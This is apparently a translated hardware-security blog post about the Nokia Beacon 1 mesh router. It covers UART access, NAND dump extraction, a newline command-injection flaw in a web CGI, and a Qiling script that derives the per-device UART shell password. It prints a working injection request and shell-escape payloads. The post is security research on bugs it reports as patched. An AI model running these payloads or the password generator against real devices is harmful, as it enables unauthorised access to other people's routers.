诺基亚Beacon 1路由器破解:UART、命令注入与Qiling密码生成
在继续我的硬件黑客之旅中,我决定这次尝试破解一个路由器。诺基亚Beacon 1提供了一个有趣的研究过程,涵盖了从硬件调试接口到固件提取,最后进行静态和动态分析的完整技术谱系。我的努力获得了有趣的发现,包括一个(现已修补的)命令注入漏洞。
诺基亚Beacon 1是一款标准的网状Wi-Fi路由器,通常作为宽带套餐的一部分提供。它的变体相当常见且研究充分,之前的发现包括硬编码凭据和UART shell中的命令注入。
拆解
我有两台诺基亚Beacon路由器可用。由于诺基亚不发布固件包,而且我的变体只允许自动固件更新,我决定进行拆解以访问任何硬件调试接口。路由器看起来组装得很好,没有暴露的螺丝,但幸运的是这次我记住了从破解光网络终端(ONT)中获得的教训,检查了底部的贴纸下面,那里隐藏着两个额外的螺丝!这使我能够取出主板。
之后,我撬开了两个RF屏蔽罩以访问组件。
多亏了标签,不难弄清楚使用的主要组件:
- Broadcom BCM68461KRFBG P11 BGA:电信集成电路
- Broadcom BCM43217KMLG:Wi-Fi/网络集成电路
- Broadcom BCM4352KMLG:Wi-Fi收发器
- Nanya NT5CC128M16IP-DI:DRAM芯片
- Macronx MX30LF1G18AC-TI:NAND存储器
受限UART Shell
了解到Beacon 1路由器的其他变体具有UART接口后,我开始寻找一个。从拆解照片中可以看到,三个引脚方便地标记在NAND存储芯片上方。
没费太多功夫,我就找出了对应于UART接口的TX、RX和GND引脚,并以标准的115200 Hz波特率连接。
最初,这启动了一个受限shell:
1
2
3
4
5
|
user> list
enable
help
list
show version
|
运行enable后,我可以访问一个限制稍少的shell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
user> enable
user# list
configure
disable
exit
help
list
logout
nslookup HOST [SERVER]
ntp date
ping [-c COUNT] [-s SIZE] [-I IFACE or ip] [-W SEC] [-w SEC] {hostname or ip}
shell
show
tftp (syslog|omci|voice) HOST
traceroute [-m MAXTTL] [-p PORT] [-q NQUERIES] [-w WAIT_SEC] [-i IFACE] HOST [BYTES]
|
这很令人兴奋 - 有几个命令看起来非常适合命令注入,更不用说明显的shell命令了!
可惜尝试执行shell需要密码,而且没有一个明显的密码有效,包括其他研究人员之前发现的硬编码密码。
1
2
3
4
|
user# shell
Password2:
passwd invalid!
|
有趣的是,在其他变体中,密码提示曾经容易受到使用简单;/bin/sh ;负载的命令注入攻击,但现在不再有效。
然后我继续尽可能全面地进行枚举和测试。我发现像traceroute这样的一些命令容易受到参数注入的影响,但没有一个允许我突破到任意命令。受限shell检查大多数常见的shell突破字符,只留下不允许我做太多事情的I/O重定向字符<>,这没有帮助。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
user(show)# list
...
network interface (IFNAME|all)
...
user(show)# network interface </etc/passwd
br0 Link encap:Ethernet HWaddr XX:XX:XX:XX:XX:XX
inet addr:192.168.18.1 Bcast:192.168.18.255 Mask:255.255.255.0
inet6 addr: fe80::1/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:32988 errors:0 dropped:0 overruns:0 frame:0
TX packets:2968 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:7122397 (6.7 MiB) TX bytes:815671 (796.5 KiB)
|
固件提取
在这一点上,我认为我已经在受限UART shell和手动测试方面走到了尽头。如果我想在受限shell或Web界面中发现漏洞,我需要直接分析固件。
由于我已经定位了NAND闪存芯片,我使用Hakko FV310热风枪在约380摄氏度下将其解焊。这是我第一次解焊芯片,所以我的技术相当差。我没有使用任何助焊剂,只是等到芯片连接处看起来"闪亮",然后用镊子轻轻将芯片从板上取下。
接下来,我使用XGecu T48编程器和TSOP48适配器读取芯片。根据在线规格表,我知道NAND闪存芯片使用TSOP48封装。
我没有拍摄芯片本身的照片,但这里有一张T48与另一个我分析过的TSOP48芯片的照片。
我花了一段时间才弄清楚的一件令人沮丧的事情是,适配器要求我将芯片放在顶部,然后按下以打开它,使芯片完全装入其中。否则,芯片只会躺在连接器上方并被读取为空白。
之后,从芯片读取很简单,因为XGecu软件为芯片型号提供了确切的绑定。
接下来,我需要从转储的数据中提取固件。不幸的是,虽然binwalk可以检测到UBI文件系统格式的一些魔术字节,但它未能正确提取。这导致我进入了一个兔子洞,尝试各种方法执行部分UBI提取或修复由binwalk提取的损坏的UBI文件。
然而,过了一段时间,我开始在转储文件中注意到一个模式 - 每2048字节后就有"无效"字节。在十六进制编辑器中滚动浏览文件时,这非常明显。
经过进一步研究,我偶然发现cn-sec上的一篇文章描述了一个与我的问题非常相似的问题!简而言之,直接内存转储并不直接对应于文件系统的外观,因为它们通常包括芯片用于错误检测的带外(OOB)数据。在我的情况下,数据表指出:设备具有一个用于数据加载和访问的2,112字节的片上缓冲区。每个2K字节页面有两个区域,一个是主区域,为2048字节,另一个是备用区域,为64字节。
本质上,我需要通过每2112字节删除备用64字节来清理转储文件。在用快速Python脚本完成此操作后,我的binwalk(实际上是ubireader的包装器)毫无问题地工作了!
硬件黑客热提示#4:在固件提取之前从内存转储中删除带外数据!
静态分析
有了提取的固件,我可以直接深入逆向工程Web和UART接口背后的二进制文件。特别是,所有与Web相关的二进制文件都位于/web目录中,该目录主要由CGI二进制文件和几个shell脚本组成。每个CGI二进制文件都有一个标准的CGIMain函数,其中包含该路径的Web处理程序逻辑。此外,它们使用了常见的共享函数,如CGIWriteHead、CGIGetPost、CGIGetQuery等,这使得理解函数的作用变得容易。
从那里,我直接搜索典型的危险函数,如system或popen。我在troubleshooting_web_app.cgi中发现了一个有趣的路径:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
int __fastcall CGIMain(int a1, int a2)
{
v9 = (_BYTE *)CGIGetPost("waninterfacename");
...
if ( !sub_14390(v9) )
{
if ( v6 )
free(v6);
if ( v7 )
free(v7);
if ( v8 )
free(v8);
if ( v9 )
free(v9);
if ( v10 )
free(v10);
app_result(0);
return 0;
}
...
if ( v9 && *v9 )
{
if ( isBeaconVariant(v16) )
v23 = "rm -f /tmp/Ifacedump.txt";
else
v23 = "/usr/sbin/cs_sudo rm -f /tmp/Ifacedump.txt";
system(v23);
strcpy(command, " ");
sprintf(command, "ifconfig %s >> /tmp/Ifacedump.txt 2>&1", v9);
system(command);
...
}
|
这很有希望 - v9是从waninterfacename POST主体参数中提取的,并最终传递给system()调用!然而,还有一个sub_14390函数,它似乎是某种验证器或清理器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
int __fastcall sub_14390(char *s)
{
int i; // r4
int v3; // r1
if ( !s )
return 1;
for ( i = 0; i != 36; i += 6 )
{
v3 = byte_15A04[i];
if ( strchr(s, v3) )
{
customer_log_log(
6,
"isSecurityString",
s);
return 0;
}
}
return 1;
}
|
确实,它似乎针对黑名单(byte_15A04)检查各种shell转义字符。然而,在检查这个列表后,我意识到它不包括换行符0x0A字符,该字符仍然可以在shell命令中用作突破字符!
因此以下请求:
1
2
3
4
5
6
7
8
9
10
11
|
POST /troubleshooting_web_app.cgi?ping HTTP/1.1
Host: 192.168.18.1
Connection: keep-alive
Content-Length: 213
Accept-Language: en-GB,en;q=0.9
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
Cookie: ...
wan_conlist=2&ipaddress=127.0.0.1&direction=rx&status=enable&domain=&wan_port=WAN&waninterfacename=ewan_1091_4_1%0awhoami%0a&portstatus=Disconnected&lan_port=null&csrf_token=pTdrsjSczaAoECVi
|
将实现任意命令执行。我以类似的方式发现了另外几个命令注入,但所有这些都是在我提取的固件(我的固件是较旧版本)上最新版本的Beacon 1固件中已修补的。
在这一点上,我也开始研究UART shell的密码。虽然Beacon 1之前使用了硬编码密码,但这似乎已经改变,没有人发现密码是什么。
经过一些探索,我发现UART shell的逻辑可能位于vtysh二进制文件中。特别是,密码似乎是由从libsec_engine.so库导入的gen_varlen_vtyshpw函数生成的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
int sub_1393C()
{
...
if ( scfg_get("G984Serial", s, 128) < 0 )
{
perror("Cannot get scfg\n");
return -1;
}
else
{
snprintf(
v4,
9u,
"%02x%02x%02x%02x",
(unsigned __int8)s[0],
(unsigned __int8)s[1],
(unsigned __int8)s[2],
(unsigned __int8)s[3]);
v0 = strlen(v4);
gen_varlen_vtyshpw(v4, v0, 12, s2, "07");
fwrite("Password:", 1u, 9u, (FILE *)stdout);
|
有趣的是,似乎设备的序列号用于密码生成,这意味着每个设备将有一个唯一的密码!这解释了为什么似乎没有人找到UART shell的通用密码。
动态分析
密码生成函数变得更加复杂,包括执行加密操作和从/usr/etc/se_k.enc.dat文件中的关键数据读取。静态分析这将非常繁琐,而我只想获取密码,我现在知道这是基于每个设备的序列号进行密钥处理的。
相反,我决定使用Qiling模拟器跳转到生成密码的sub_1393C函数,通过劫持scfg_get调用直接注入序列号,并打印生成的密码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
from qiling import Qiling
from qiling.const import QL_VERBOSE, QL_INTERCEPT
import sys
from qiling.extensions import pipe
from qiling.os.const import STRING, PARAM_PTRX, PARAM_INT32
def hook_open(ql: Qiling, pathname_ptr: int, flags: int, mode: int, retval: int):
filename = ql.mem.string(pathname_ptr)
if filename == '' and retval == 3:
ql.arch.regs.pc = 0x1393C
return None
def my_scfg_get(ql: Qiling):
params = ql.os.resolve_fcall_params({'cfg_name': STRING, 'cfg_buffer': PARAM_PTRX, 'buf_size': PARAM_INT32})
# modify to your serial
my_serial = b'\x00\x00\x00\x00'
# Write the bytes to the buffer in the emulated memory
ql.mem.write(params['cfg_buffer'], my_serial)
return 1
def my_gen_varlen_vtyshpw_enter(ql: Qiling):
params = ql.os.resolve_fcall_params({'serial': STRING, 'serial_len': PARAM_INT32, 'dst_len': PARAM_INT32, 'dst': STRING })
print(params)
def my_gen_varlen_vtyshpw_exit(ql: Qiling):
params = ql.os.resolve_fcall_params({'serial': PARAM_PTRX, 'serial_len': STRING, 'dst_len': PARAM_INT32, 'dst': PARAM_PTRX })
print(params)
if __name__ == "__main__":
# set up command line argv and emulated os root path
argv = r'squashfs-root-0/usr/sbin/vtysh -c'.split()
rootfs = r'squashfs-root-0'
ql = Qiling(argv, rootfs, multithread=True, verbose=QL_VERBOSE.DEBUG)
# Hook a specific open call to begin jump to target function
ql.os.set_syscall('open', hook_open, QL_INTERCEPT.EXIT)
ql.os.set_api("scfg_get", my_scfg_get, QL_INTERCEPT.CALL)
ql.os.set_api("gen_varlen_vtyshpw", my_gen_varlen_vtyshpw_enter, QL_INTERCEPT.ENTER)
ql.os.set_api("gen_varlen_vtyshpw", my_gen_varlen_vtyshpw_exit, QL_INTERCEPT.EXIT)
ql.run()
|
虽然这似乎有效,但我无法在同一设备上测试它,因为我已经移除了存储芯片,而另一台设备已更新到使用不同密码提示(Password2)的更新固件。
结论
诺基亚Beacon 1是各种硬件黑客技术的非常有用的训练场。不幸的是,我的固件转储是较早版本,但我设法发现了几个未公开的漏洞,即使它们已经被修补。
如果我有时间,我想获取另一台Beacon,以便重新分析修补后的固件并测试密码生成。